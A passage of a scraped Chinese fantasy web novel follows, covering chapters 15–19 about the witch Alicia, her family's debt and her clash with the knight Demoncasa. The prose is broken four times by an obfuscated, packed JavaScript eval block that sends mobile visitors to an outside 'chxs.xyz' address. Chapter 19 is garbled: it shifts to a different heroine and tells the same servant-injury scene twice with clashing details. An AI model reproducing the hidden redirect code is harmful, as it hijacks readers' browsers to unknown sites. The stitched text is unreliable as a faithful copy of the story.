很显然,艾莉西亚被当成甜品送去给恶魔加餐了。 艾莉西亚第一反应是这是针对所有隐藏在城内的超凡者,毕竟阿斯蒙德伯爵厌恶不受控的超凡者,他有这个动机、更有这个实力这么做。 但艾莉西亚很快否认了这一点。 伯爵如果想这么做,他不会等到今天。早在多年前他失去自己唯一的儿子时,他如果有这样的想法,就应该动手了。 传闻上一个继承人死于梅毒,那是一种被魔法改造过的性病,神之光辉也无法治愈。 但他没有那么做。 艾莉西亚第二个猜测是拉图瓦大道的命案凶手散播的无差别攻击。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774076|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可仔细想想,拉图瓦大道的死者都是普通人,如果凶手有这样的能力,死的就不是一家四口,而是拉图瓦大道整条街。 还有可能是光明教廷势力在搞事。这就更不可能了。如果城内的教廷势力有这个能耐,不会被伯爵继承人芙蕾·阿斯蒙德逼得连圣骑士都给她打工了。 排除所有可能性,艾莉西亚可以确认,这个事是冲着自己来的。 而一确认这一点,艾莉西亚的心跳加剧,她急促地呼吸着,心悸后怕涌上心头,甚至有点难以控制情绪。 随着她的情绪起伏,房间里的摆件不受控地震动起来,“咚咚咚咚”地响个不停,一个花瓶从窗台上摔了下来,碎了一地。 如果,如果拿到报纸的不是她……如果,罗德没有睡懒觉的习惯,如果她提前起床翻到了报纸…… 艾莉西亚把下嘴唇咬出了血,埃诺里!埃诺里!是她,一定是那个女人! 艾莉西亚手脚冰凉,她艰难地捂着胸口,她盯着那个碎掉的玻璃花瓶,命令自己均匀地呼吸,直到情绪平复。 艾莉西亚早就该想到。埃诺里偷了别人的东西,人家追了过来,她还要把人家灭口;而她在自己这里吃了这么大亏,难道她会什么都不做? 不做只是没找到时间而已。 艾莉西亚出了一身虚汗,整个人脱力地躺回床上,她双眼无神地望着天花板,脑子却还在转着。 猜到埃诺里不是一件难事。 整个卡斯塔尼亚城,知道艾莉西亚女巫身份的,只有三个人,骑士哈罗德·阿克莱特,阿尔瓦雷斯·司佩,以及埃诺里。 阿克莱特正追踪命案凶手,还是个正直的骑士,他的嫌疑第一个就排除了;司佩已经表现出态度,不太可能做第二次;剩下的就只有埃诺里。 埃诺里想要知道艾莉西亚的身份很简单,问司佩就行。 埃诺里这么做,究竟是为什么呢?报复吗?还是示威? 不,或许在埃诺里看来,她这样不过是让艾莉西亚长个教训而已。 那样程度的恶魔空间,艾莉西亚要脱困并不难。之所以让艾莉西亚在家里出问题,埃诺里想要的,可能是警告。 艾莉西亚还在想着乱七八糟的事,贝斯让唐娜送罗德去学校,她便来到艾莉西亚的房间。 艾莉西亚从床上坐起身,贝斯说,“你想问什么,问吧。” “妈妈,您真厉害。” 贝斯笑了一下,但笑容很浅,嘴角轻轻牵动了一下,笑容就消失了。 “爸爸他到底出什么事了?” 贝斯一脸倦容,“你父亲的朋友贷款投资了运河,运河公司运营一直亏损,现在蒸汽列车又要开通了,那个朋友很可能还不上钱了。” 艾莉西亚一听就明白了,“父亲做的担保?” 贝斯点点头,“你父亲那个朋友是个不错的人,那几年……你走丢的那几年,我们无心经营酒厂,是他在背后帮忙打点,你回来之后我们才不至于破产流浪街头。当初那个朋友投资的时候找到皮尔,皮尔想要帮忙,就没拒绝。” “爸爸担保了多少钱?” 贝斯叹息,“两万八千费尔。” 16. 女巫的职业危机16 艾莉西亚的胃抽搐起来,她感到恶心,很想吐,头也很痛,像是有人拿棍子在里面搅动。脸上和脖子上被抓上的地方开始发痒,又痒又痛。 贫穷会让人有这么大的生理反应吗? 艾莉西亚后知后觉地想,恍惚了一下,她才意识到,遭受攻击的后遗症出现了。 贝斯就坐在床边,艾莉西亚不敢露出端倪,她藏在被子里的手紧紧抓着床单,艰难地露出释然而嘲弄的表情,“难怪爸爸想尽快给我找个丈夫,他这样,就是想帮朋友还债了。” 贝斯摸摸艾莉西亚的长发,“宝贝,你如果不想结婚,我会好好劝你的父亲。但不要反对得太明显,他不会放弃他的朋友,我们那么做只会让他为难。” 艾莉西亚难受得要命,一点也不赞同贝斯的话。显然皮尔已经蛮横地决定要承担这笔钱欠款了,而他完全没有要和艾莉西亚商量,甚至他都不打算听取贝斯的意思,不然,贝斯也不会是如此疲惫的样子。 说起来,皮尔虽然很爱她和罗德,但他其实不在意艾莉西亚在做什么。 艾莉西亚开办零件厂、又建造了工坊,皮尔从没有去看过一眼。 她强忍着难受,和贝斯又聊了几句,借口想要休息,贝斯便出去了。 贝斯离开后,艾莉西亚在床上翻来覆去地滚,不敢发出声音。她脸上的伤口已经结痂,要不了多久就会愈合,但她感到愈合的过程让人难以忍受,她很想把伤口撕开,用指甲挖出里面的肉,彻底从源头解决问题。 这样的后遗症,唯有教廷的圣光洗礼能解决,就是哈罗德·阿克莱特来了也不行,他是个骑士,有着精湛的剑术和强悍的身体,但只有神父才能掌握圣光洗礼。 而艾丽西亚恰恰又是神父们厌恶的无信仰者。她不可能得到神父的悲悯。 艾莉西亚煎熬了一个上午,这期间她已经在心里斩首了无数个埃诺里和司佩,两个人死掉的次数加起来超过三位数。 折磨人的过程直到午时才逐渐褪去,吃过午餐,艾莉西亚躺在床上,她能感知到,魔力和血液一样,静静地在身体里流淌,身体内外的魔力循环渐渐恢复平衡,她不用再拼命的从空气中攫取魔力——尽管那少得可怜。 从司佩那里弄回来的魔法结晶要尽快使用了,如果她的魔力储备再强一点,艾莉西亚一开始就会发现报纸上的问题,根本不会被暗算到。 埃诺里她记住了,这笔债一定会讨回来。 …… 后遗症过去之后,艾莉西亚也不打算休假了,她找到特蕾娅,询问巴尔纳那边合同的事。 特蕾娅对此表示遗憾,拉图瓦的命案似乎让巡夜者陷入了困境,半个月过去,他一直没能找到凶手。艾莉西亚想了想,亲自跑了市政厅一趟,那位巡夜者办公室的办事员小姐礼貌而客气,但说的全是废话,巴尔纳的行程半个字都没说。 艾莉西亚便去找阿克莱特。 这位骑士应该和巴尔纳在一起,事涉恶魔,这位骑士不会坐视不理。 阿克莱特骑士的住所在教堂后面的公寓内,这里的居住环境不算差,但相应的,需要的租金也不少。 按理说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774077|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是教堂的产业,阿克莱特作为圣骑士,把这里当成宿舍也是应该的,然而谁让他是被流放来的呢,教堂里管事的神父非要收取租金,阿克莱特也做不出把人打一顿丢出去的事。 圣骑士的津贴不算少,交了房租之后,还要养活他的学生科恩·西尔维斯特,学习剑术是一件费钱的事,武器、盔甲、马匹样样都要钱,没办法,圣骑士阁下只能放下身段,去给巡夜者打工。 阿克莱特的公寓艾莉西亚很熟悉,那是一间两居室的套间,艾莉西亚敲了敲门,无人回应。 艾莉西亚刻意选择了傍晚上门,就是为了堵到阿克莱特,就算阿克莱特不在,他的学生科恩在也可以,但很显然,两个人都出门了。 真让人失望,艾莉西亚正打算转身离开时,她忽然听到了房间内的动静。 有人在? 艾莉西亚立刻停住脚步,她绕到公寓另一边,沿着墙边的煤气管道爬到阿克莱特公寓的窗户外,用了点小把戏把窗户打开,翻了进去,突然,她感到一股危险的气息,立刻就地一滚,避开一把飞过来的餐刀。 餐刀插进木质地板,艾莉西亚抽出扳手,正要给藏在公寓里的家伙来一下,然而一抬头,却看到一张漂亮的年轻面孔。 德蒙卡萨?他怎么在这里? 艾莉西亚瞳孔一缩,差点把这家伙的名字叫出来,幸好她反应快。 艾莉西亚起身前扑,同时扳手甩出去,德蒙卡萨想要避开,然而他没料到,扳手在空中拐了弯,砸中德蒙卡萨的背,他膝盖一软,整个人不受控地单膝跪地。 17. 女巫的职业危机17 “是你,对吧?”德蒙卡萨目光灼灼地盯着艾莉西亚,英俊的面孔格外吸引人,“那把扳手,我认识。” 艾莉西亚暗骂自己脑子有问题,竟然忘了这个。 艾莉西亚也不掩饰,她打量着德蒙卡萨,“骑士先生,既然认出来了,那么你该知道,你的命是我救下来的,付钱吧,这是我应得的酬劳。” “你和我想象的不一样。” 德蒙卡萨的表情有片刻的怔愣,然后他勾起唇角,眼睛里一点点渗出笑意。他的笑容和那天晚上在宴会上的风流谄媚不同,很明朗,湖绿色的眼睛澄澈剔透,像个气质干净的单纯大男孩。 艾莉西亚翻了个白眼,心说跟我装什么装呢,我又不是埃诺里。 “那与我无关,我只知道,我救了你,你就该付钱;为了救你我还得罪了雇主,所以你要付双倍的钱,用以赔偿我的损失。” “我很愿意赔偿你的损失,小姐,”德蒙卡萨蹙起眉,态度很坦诚,但说出来的话很气人,“只是很抱歉,我没有钱。” 艾莉西亚心里咯噔了一下,她虽然已经有了预感,但随着第二只靴子落地,她仍感到一阵难以掩饰的失落。 她该知道的,和阿克莱特混到一起的家伙能是什么有钱人?比她都穷! 但知道不能从德蒙卡萨身上得到回报是一回事,而他这样过于光棍的态度又是另一回事了。 艾莉西亚心里不爽。 本着我不爽,大家都不要好过的想法,艾莉西亚凑近德蒙卡萨,用食指和大拇指捏着他的下巴往上抬,轻佻的说,“没钱没关系,我想以你的长相和能力,去找一位有权有势的夫人,她一定会很乐意帮你支付这笔钱,对吧?” 德蒙卡萨浑身无力,无法反抗,又是以这样一副脆弱的姿态被迫仰起脸,露出脆弱的脖颈,他心底涌起一股难以忍受的烦躁感。 这与为了完成任务而必须伪装有着本质区别,德蒙卡萨清晰地分辨出这股烦躁的来源,它源自于期待落空后的空虚。 在德蒙卡萨的预想中,艾莉西亚不应该是这样的。 她或许市侩,或许精明,又或者为了某个目的不得不听命于埃诺里,但她灵魂的底色一定是善良的,她应该是个有原则的好姑娘,否则,她不会在埃诺里明显不赞同的情况下,还要把他救出火场。 然而眼前的艾莉西亚好像变了一个人,她打碎了德蒙卡萨的记忆,把他脑海中、那个属于她的纯白影子染上了丝丝晦涩的黑。 印象中,那个从大火之中把他救出去的女人,像经历过时间侵蚀的壁画,刹那间褪色斑驳,面目全非。 德蒙卡萨艰难地咽了一下口水,喉结滚动的时候,脸上闪过一丝难堪。既羞恼自己此刻的无能,更愤怒艾莉西亚毁掉了他的美好记忆。 并且,艾莉西亚的动作精准打击了德蒙卡萨的自尊心,这让他无法再伪装下去。 德蒙卡萨他眼睛微眯,眸子里折射一道微光,像打盹的猛兽突然露出的獠牙,冷不丁一见,叫人心底发寒。 “小姐,你知道自己在做什么吗?” “知道,但那又如何?现在的你只能任我摆布,不是吗?”艾莉西亚心里嗤笑着,手指捏着他的下巴缓慢地转动他英俊的面孔,“你如果有钱,那我们立刻能互不相欠,可你有吗?你很穷的,骑士先生,你穷得只剩美貌了,那么为什么不趁着你的青春还在,把价值变现呢?” 公寓门突然被人踹开,一个高瘦的少年人拿着剑冲进来。 “不准动——”科恩·西尔维斯特刚开口,就看到了姿势奇怪的两人。 强大的审判官拉蒙·德蒙卡萨如同温顺的绵阳一样单膝跪地,他面前,艾莉西亚捏着他的下巴,纡尊降贵地垂眼看着他,像在掂量他的价值。 她唇角勾起讥诮的弧度,眼里闪动着残忍的光——明明是如此冷酷的表情,却因为夕阳的余晖照耀在她栗色的长卷发上,自带柔光效果,于是,气氛在两人之间产生了微妙的变化,滑向了暧昧的方向。 西尔维斯特被这一幕惊呆了,“你们,你们在做什么?” 有那么一瞬间,西尔维斯特以为自己不是一位听到了公寓异响、进来行正义之事的骑士,而是一个阻止甜蜜情人相恋的反派。 艾莉西亚放开德蒙卡萨,她换上一副笑脸,镇定自若地打招呼,“晚上好呀,西尔维斯特见习骑士。” 德蒙卡萨闭了闭眼。让个孩子看到他的窘态,即使身经百战,德蒙卡萨也有点绝望。 见鬼的! 该死的女巫! 好在年轻的西尔维斯特见习骑士是个正经人,他握紧了长剑,尽管掌心里全是汗。 微微抬起下巴,西尔维斯特用一种严肃认真的语气说,“切斯特小姐,您不请自来是为了什么?德蒙卡萨阁下是老师的客人,你不能这么对他。” “当然,西尔维斯特骑士,”艾莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774589|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西亚退后两步,双手举起来表示自己并无恶意,“事实上,这是个意外。我有事找阿克莱特骑士,但敲了门无人应答,房间内却有异常响动,我以为有歹人闯入,想办法进入公寓,进来之后立刻遭到攻击,为了自保,我不得不还击,然后就有了你看到的那一幕。这完全是一个误会,对吧,德蒙卡萨骑士?” 西尔维斯特看向德蒙卡萨,“是这样吗,阁下?” 德蒙卡萨看向艾莉西亚,目光炽热,声音却舒缓平静,“的确如此,科恩,我和这位切斯特小姐产生了一点误会。切斯特小姐,误会已经解除,你能帮我祛除魔法带来的负面影响吗?” “哦,那当然没问题,尊敬的德蒙卡萨阁下,”艾莉西亚露出和德蒙卡萨说自己没钱时一样坦诚却气人的表情,连语气都很像,“只是很抱歉,这个魔法无法人为祛除,它需要时间,或许明天一早您就会恢复了。” 德蒙卡萨露出个笑容,眼部肌肉和嘴角一起运动,模样看着真诚极了,但他脸颊肌肉却一抽一抽地动着,“那可真是不妙,幸好这是在卡斯塔尼亚,如果您去了沃华德,您这样的作为,一定会上异端审判庭的追捕名单。” “天哪——”艾莉西亚做作地吃惊捂嘴,“异端审判庭太可怕了,我这样谨慎胆小又奉公守法的市民竟然会因为莫须有的罪名遭到审判,难怪那位来自黑塔的女巫会对异端审判庭出手——你们做的事,已经到了天怒人怨的地步了吧。” 西尔维斯特感觉到空气中弥漫着浓重的火药味,他还没有进入公寓,此时仍站在门口,他下意识地捏着门页,紧张地看着那两个看似春风满面、实则唇枪舌剑相互攻讦的家伙,一时间,他感到公寓内好像一个巨大的炸药桶,一点火星子就能把这栋公寓炸上天。 而他,科恩·西尔维斯特,一个曾经的光明教廷圣骑士团第一团长最有力竞争者——哈罗德·阿克莱特骑士——相当看好见习的骑士,他一点都不想进去,成为二人战争之下的无辜炮灰。 然而,艾莉西亚却没想放过他。 奚落德蒙卡萨一番,艾莉西亚冲西尔维斯特招手,“西尔维斯特骑士,需要你的帮忙,把这位德蒙卡萨阁下搬到那边坐下,不然,依照魔法效果消除的速度,德蒙卡萨阁下可能要后半夜才能站起来了。” 德蒙卡萨很想拒绝,他不需要用心,都能从艾莉西亚的语气里感受到明显的愉悦,很显然,把他祸害成这样的罪魁祸首正为此沾沾自喜。 18. 女巫的职业危机18 西尔维斯特回来不久,阿克莱特也回到了公寓。 艾莉西亚询问阿克莱特能否告知一下巴尔纳的行踪,要是在他空闲的时候见一面就更好了。 阿克莱特仍然希望艾莉西亚女巫的身份得到巴尔纳的认可和庇护,艾莉西亚突然这么积极,他虽然意外,但没有多想,他告诉艾莉西亚,巴尔纳的工作已经过了最繁忙的时候,如果艾莉西亚着急,明天就可以带着律师找巴尔纳签合同。 事实上签合同并不需要巴尔纳亲自到场,问题出在巴尔纳并没有说样品他是否满意(办事员小姐是这样告诉特蕾娅的),因为拉图瓦大道的命案,他一直没有时间。 特蕾娅跑了几次市政厅都没见到人,她已经尽力了。 一开始重视这笔订单的是特蕾娅,和巡夜者搭上关系,会给特蕾娅的工作带来很多无形的好处。 而艾莉西亚对这个订单并不太上心,她还在尽量淡化自己在巴尔纳那里的存在感,然而厄运来得很没道理,老切斯特给朋友作担保,朋友即将破产,无力偿还贷款,老切斯特这个担保人也跑不掉,这个时候,这笔利润丰厚的订单就非常重要了。 谢过阿克莱特,艾莉西亚就要离开,临行前,艾莉西亚对德蒙卡萨说,“德蒙卡萨阁下,看在光明神的份上,给你提个醒,你要找的东西一定不会在伯爵府。” 就当是还阿克莱特人情了。 德蒙卡萨的伤势看起来已经愈合了,外表恢复如初,行动上可能还有点迟钝,可能还需要一点时间恢复,整体来说,阿克莱特为德蒙卡萨创造了很不错的养伤环境。 如果艾莉西亚不是意外到访,她做梦都想不到,正直善良的阿克莱特还有一个为异端审判庭效力的骑士朋友,那个地方,可是出了名的专干脏事。 这两个人交情肯定不错,艾莉西亚也愿意给阿克莱特这个面子。 同时,这给会给埃诺里带来麻烦,一句话就能一石二鸟,多划算的事。 艾莉西亚现在还无法正面与埃诺里对抗,能给她造成麻烦,艾莉西亚会很高兴去做。 艾莉西亚的话让德蒙卡萨陷入沉思。 那晚埃诺里信誓旦旦地说《智慧之书》被送给了女继承人,东西进了伯爵府,想要从里面拿出来,难度很大,就算德蒙卡萨没有受伤,他也不敢轻易闯进去。 经过那天晚上的事,埃诺里必然会加强戒备,再想接近她,不会比闯入伯爵府轻松多少。 德蒙卡萨在养伤这半个月思虑很多,一直没有行动,就是在犹豫。 艾莉西亚给了他新的方向,现在的问题是,她的话可信吗? 阿克莱特让西尔维斯特去准备晚餐,他亲自检查了德蒙卡萨的身体,得出的结论和艾莉西亚说的大同小异,稀缺不需要刻意做什么,等时间到了。魔法效果会逐渐消退。 “没什么问题,”阿克莱特说,“放心吧,和艾莉西亚说的一样,最迟明天早上你就能恢复了。” 德蒙卡萨说,“那天晚上,我遭到了同样的攻击,但没有出现这样的情况。” 阿克莱特笑笑,“没事,艾莉西亚和你开个玩笑,她的确是那样的孩子,有点调皮。” 德蒙卡萨已经多年没见过阿克莱特,但这个昔日同袍的性格他很清楚,善良而固执,艾莉西亚如果是阴毒狠辣的人,阿克莱特对她不会是这样的态度。 然而艾莉西亚的品性大方向的确可能没问题,但事关《智慧之书》,她还是个女巫,德蒙卡萨很难放下戒心。 “你认为,艾莉西亚的话能相信吗?” 阿克莱特叹气,在德蒙卡萨对面坐下,“拉蒙,老实说,这个问题我没办法回答你。” 德蒙卡萨露出不解的表情。 “我第一次见到艾莉西亚,是在十三年前,我伪装成商队护卫,去黑塔执行任务,那时候的艾莉西亚才九岁,我们只是在黑塔附近的村庄遇见过两次,她就私下找到我,叫破我的身份,威胁我如果不听从她的安排,她会向她的主人——一个残暴的女巫举报我的身份;但我如果配合她,她就帮我完成任务。” 每次回想那段经历,阿克莱特都会觉得好笑,“兄弟,如果我没有经历过那些事,我做梦也不会想到,一个身高才刚刚超过我大腿的小孩,会像个大人一样一本正经地威胁我。” 德蒙卡萨听到阿克莱特说到艾莉西亚小时候在黑塔生活,倒没有意外,黑塔一直有掳掠有天赋的小女孩的历史,如果艾莉西亚很小就被黑塔抓走了,那么她出众的魔法能力来源,也有了解释。 “但她的威胁应该没有起效,对吧?”阿克莱特怎么说也是高阶骑士,曾是圣骑士团团长最有力的竞争者,怎么都不可能被个小女孩威胁到。德蒙卡萨充分信任他的实力。 阿克莱特摇摇头,“不,她的确威胁到我了。” 德蒙卡萨有点吃惊,对艾莉西亚好奇起来。 阿克莱特,“她告诉我,她在女巫的魔法塔内安置了一个延时魔法,如果她没有回去解除,时间一到,就会通知女巫我的存在。” 德蒙卡萨感到了不可思议。 延迟魔法构建需要充沛的魔力和抢大的魔法构建能力,而一个九岁的小女孩能熟练运用自己的魔杖吗?她竟然构建出延迟魔法,着实让人意外。 “她真的只有九岁?你确定吗?” “是的,兄弟,她那时候的年纪很小。我当时的表情和你一样,但我那时候没有你幸运,我不敢赌,只好同意了和她交易。”说到这里,阿克莱特呼出一口气,“你想象不到,一个九岁的孩子竟然会有着那样精密的计划和强大的执行力,可以这样说,如果没有艾莉西亚的帮助,我不一定能从那个残暴的女巫手里全身而退。” 德蒙卡萨陷入沉默。 “不过,这不是我无法回答你是否该相信她的原因。” 德蒙卡萨疑惑地看过去,阿克莱特说,“我和艾莉西亚回卡斯塔尼亚城的路上,我问她怎么能构建出延迟魔法,她却告诉我,她做不出来。” 德蒙卡萨一脸愕然,“她骗你的?” “是的。那孩子骗了我。”说到这里,阿克莱特不禁露出一丝苦笑,“我第一次接触这样的孩子,我差点以为我面对的是一个把自己苍老灵魂塞进小女孩躯体的邪恶女巫。但这个世界没有死而复生的魔法,灵魂的唯一性决定了人死之后只能转化为亡灵,而亡灵无法侵占受到创世神保护的人类的身体。” 一个狡猾的、目的未知的女巫,该相信吗? 德蒙卡萨的手指无意识摸索着扶手,片刻后意识到,他的手指能动了。 …… 艾莉西亚才不管德蒙卡萨怎么纠结。 她离开阿克莱特的公寓,立刻去零件厂找特蕾娅分享这个好消息。最近零件厂要加班,特蕾娅盯到很晚才回家。 艾莉西亚有段时间没出现在零件厂了,她四处转了转,抓到两个在生产线上打盹的家伙,其中一个家伙差点一头到刀口下,要不是旁边人及时阻止,后果会很严重。 艾莉西亚找来主管情况,主管说最近订单多,工人们需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13799273|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒班,这样的情况已经有几次了,只是都没有今天这么严重。 艾莉西亚让他多注意,就再没说什么,管理上的事情,还是要等特蕾娅发话。 刚走到特蕾娅办公室附近,艾莉西亚就听到了从办公室里面传出来的争吵声。 严格来说,是一个男人刻意压低着声音吵架,而特蕾娅没怎么开口。 这个男人的声音艾莉西亚听过,特蕾娅的未婚夫,凯伊·布兰卡。他来这里做什么? 艾莉西亚正犹豫要不要避开的时候,布兰卡从里面跑出来,一脸不爽的表情,看到艾莉西亚,这个漂亮但个头一般般的家伙扬起下巴,试图表现出用鼻孔看人的嚣张气焰。 艾莉西亚与他擦肩而过,眼神都没多给一个。 她对这家伙的不满不是一天两天了,作为合伙人,艾莉西亚不是没有劝过,然而效果几乎没有,她怕引起反弹,现在只能旁敲侧击让特蕾娅多看看别的漂亮家伙。 办公室的门开着,艾莉西亚敲了两下,站在门口没进去,她双手抱臂依靠在门边,“嘿,亲爱的,需要我把肩膀借给你哭一小会儿吗?” 特蕾娅听到艾莉西亚的话,送她一个白眼,“切斯特小姐,如果我没记错,今天你应该在家休假。明天你还要继续做内燃机测试。” “哦,亲爱的,你是真懂如何伤我的心。” 特蕾娅:“滚!”说完,她自己绷不住笑了。 “我没事,”特蕾娅说,“你知道的,卡伊不喜欢我去市政厅。最近我去太多次了。” 艾莉西亚说,“好吧,看起来我今天来得正好,明天我们带着律师去找巴尔纳签合同吧,他明天有空。” 特蕾娅动作一顿,“你怎么知道?我请人在市政厅门口盯着,他到现在没有任何消息。” 艾莉西亚说,“这要感谢我们正直的阿克莱特骑士了,他告诉我的。” 有了这个好消息,特蕾娅的脸色才真正缓和下来。 工人打盹的问题艾莉西亚也说了,特蕾娅表示她正在找合适的工人,过几天就能进厂了,现在只能先熬着。不过她会让主管多注意的。艾莉西亚就不再说什么。 两人又就扩张和投资的事聊了聊,决定再过一轮测试,就去把内燃机的专利申请下来。这样一来,还可以拿着专利去找别的投资,不用只盯着小安托瓦一个人。 艾莉西亚回到家,就看到皮尔难得舒展眉头,正和贝斯聊天。 艾莉西亚心里嘀咕,难道是皮尔的朋友不破产、自家财产保住了? 她正在心里琢磨,皮尔看到艾莉西亚就放了一颗大雷,“艾莉,我为你寻到一个十分合适的丈夫人选,这个人你一定会满意的。” 艾莉西亚撇撇嘴,不太高兴地说,“爸爸,我说了我会努力赚钱的,我不想结婚。” 皮尔并不把艾莉西亚的话放心上,他开心地说,“艾莉,不要任性。明天你早点回家,我们去参加迪亚斯夫人家的聚会,那孩子也会去,哦对了,他是安托瓦家族的旁支,对,就是那个王都赫赫有名的安托瓦家族。” 艾莉西亚有了不好的预感,“谁?安托瓦家的谁?” “小查普伊斯·安托瓦,”贝斯说,眼里带着一点笑意,“你以前工作过的贸易公司的老板,他拜托迪亚斯夫人举行了这个聚会。” 艾莉西亚感觉这个世界有点癫。 这可真是个大笑话。 小查普伊斯·安托瓦,那个半个月前还对着埃诺里献媚的家伙,竟然主动求娶她?他脑子坏掉了吧。 19. 第 19 章 清晨,当第一缕阳光洒落在阿斯蒙德伯爵领的伯爵府内,勤劳的仆人们早就开始洒扫工作,忙得热火朝天。 伯爵府的女总管普里查德小姐戴着白手套,一丝不苟地触摸被仆人们擦拭过的桌面,没有发现灰尘的痕迹,终于露出个满意的微笑。 突然,一声凄厉的惨叫打破了清晨的宁静。 普里查德小姐拿在手里的细瓷花瓶差点掉地上,她脸色阴了下来,正要质问发生了什么,一个男仆从伯爵府的左翼跑了过来,慌张地说,“霍利斯,霍利斯他,他被查克少爷从楼上丢了下去。” 仆人们骚动起来,普里查德小姐厉声喝道,“你胡说什么?分明是霍利斯自己不小心摔下去了。还愣着干什么,找托马斯总管,问问是请医生来伯爵府,还是把人送去外面的诊所。” 这声惨叫传到二楼右翼这边,惊醒了正在冥想中的艾莉西亚·阿斯蒙德。 房间门被人敲响,响了三下,略有急促,但并没有乱了阵脚。 艾莉西亚不慌不忙地收拾好冥想的水晶,放进隔绝魔法的白橡树制作的箱子里,再戴上隔绝魔法的水晶项链,确认房间内不会泄露一丝魔法气息,这才去打开门。 门外是个二十出头的姑娘,她是索兰,艾莉西亚的贴身女仆。 “出什么事了?”艾莉西亚让了让,方便索兰进来。 索兰端着艾莉西亚的早餐,进来之后放到起居室的玻璃桌子上,“查克少爷将霍利斯扔下楼,霍利斯断了一条腿,托马斯总管让人拿担架把人抬出去送诊所了。” 艾莉西亚眉头一跳,没想到一大早就听到兄长查克·阿斯蒙德干的好事,“霍利斯还好吧?” “听说痛得厉害,送走的时候人已经昏过去了。” “塔拉雅夫人怎么说?” 索兰摇摇头,“塔拉雅夫人似乎还未起来。” 艾莉西亚了然。 塔拉雅夫人是艾莉西亚和查克的继母,她和艾莉西亚的关系还不错,但对查克,基本上是不愿意沾边。 艾莉西亚吃完早餐,打算去查克那里看看。 刚走到左翼的二楼,就看到一个穿着绸缎衬衣、长靴紧身裤的高大男子迎面走来,艾莉西亚主动打招呼,“兄长。” 查克比艾莉西亚大八岁,今年已经二十一,他长得颇为英俊,但轮廓有些过于柔和,没有父亲的锐气。 此时看到艾莉西亚,略微点点头,“有事?” 艾莉西亚看了一眼查克身后,跟着他的人是一个面生的男仆,艾莉西亚一时想不起在哪里见过。 “刚听说你从沃华德回来了,过来看看。” 查克勾了勾嘴角,脸上写满了嘲讽,“终于想起你还有个可怜的兄长了,这会儿倒是不用估计塔拉雅那个贱人了?” “兄长慎言。” 查克冷笑一声,丢下艾莉西亚,扬长而去。 他的男仆紧张地朝艾莉西亚露出讨好的表情,艾莉西亚挥挥手,他赶紧追上查克的脚步。 她一个激灵从床上跳下来,打开卧室门,“索兰,索兰,出什么事了?” 索兰脚步匆匆地从外面跑进来,“查克少爷把霍克打了。” 查克·阿斯蒙德,艾莉西亚一母同胞的兄长,阿斯蒙德伯爵的预定继承人,被打的霍克是查克的贴身侍从。 外面慢慢归于平静。 艾莉西亚的心情却没有因此好起来,她熟练地给右手小臂缠绷带,一连两次都没成功,索兰从外面回来,站在一边。 第三次总算缠好了,艾莉西亚用左手小拇指勾住绷带一端,大拇指和食指配合,迅速地打了个结,然后慢慢抻开右手,合拢,这个动作牵动了小臂肌肉,但已经没有过去那种无力感,也没有刚开始治疗时的撕裂般的疼痛了。 连续数次之后,艾莉西亚满意了,心境也随之平复。 “怎么回事?” 索兰汇报刚刚打听到的消息,“霍克叫醒查克少爷时,不知道怎么惹怒了查克少爷,被打断了一条腿。” 艾莉西亚蹙眉,“霍克怎么样了?” 索兰,“托马斯总管让人把他抬走了,他们会送霍克去医生那里。” 艾莉西亚已经有一段时间没见过查克,若不是今早发生了这样的事,艾莉西亚都不晓得查克已经回伯爵府了。 看样子这次的沃华德之行不顺利,查克的脾气越来越坏了。 伯爵府现在没人管得住查克…… 想着,艾莉西亚叮嘱索兰,“昨天查克才从王都回来,看这情形,他的骑士考核应该又没过,你们最近做事小心一点,和查克有关的能找托马斯总管就找托马斯总管。” 骑士分为七个等级,从初阶骑士开始,分别是初阶、黑铁、青铜、白银、黄金、殿堂、传奇。 